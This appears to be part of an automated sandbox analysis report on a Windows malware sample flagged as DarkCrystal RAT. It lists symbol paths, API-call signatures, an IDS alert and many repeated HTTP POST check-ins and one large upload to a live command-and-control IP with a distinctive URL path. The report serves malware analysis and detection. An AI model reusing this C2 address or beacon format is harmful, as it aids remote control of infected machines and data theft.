                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.000000000628D000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000006876000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.00000000044FA000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000006628000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.000000000539C000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.000000000539C000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000004A9C000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.00000000044FA000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000006665000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000004BFC000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.000000000628D000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000006455000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: jC:/Users/user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000004877000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.00000000056AF000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000006628000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: oC:/Users/user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000004CB9000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000006876000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 0000000E.00000002.3698250628.0000000006A94000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp
                              Source: Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 0000000E.00000002.3698250628.0000000006665000.00000004.00000800.00020000.00000000.sdmp
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002EA69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,0_2_002EA69B
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002FC220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,0_2_002FC220
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_0030B348 FindFirstFileExA,0_2_0030B348
                              Source: C:\comref\svchost.exeCode function: 4x nop then jmp 00007FFAAB792656h14_2_00007FFAAB78086A
                              Source: C:\comref\svchost.exeCode function: 4x nop then mov dword ptr [ebp-04h], 7FFFFFFFh14_2_00007FFAAB93D4FD

                              Networking

                              barindex
                              Suricata IDS alerts for network traffic
                              Source: Network trafficSuricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.7:49708 -> 185.106.93.197:80
                              System process connects to network (likely due to code injection or exploit)
                              Source: C:\comref\svchost.exeNetwork Connect: 185.106.93.197 80Jump to behavior
                              Source: Joe Sandbox ViewASN Name: SUPERSERVERSDATACENTERRU SUPERSERVERSDATACENTERRU
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 344Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 384Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1840Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2504Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1840Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1828Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1840Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1840Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1820Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2504Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: multipart/form-data; boundary=----3L6dFNpHggmEVePS1rn0L5vFbP6ztukNDZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 108894Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1820Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2504Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1844Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
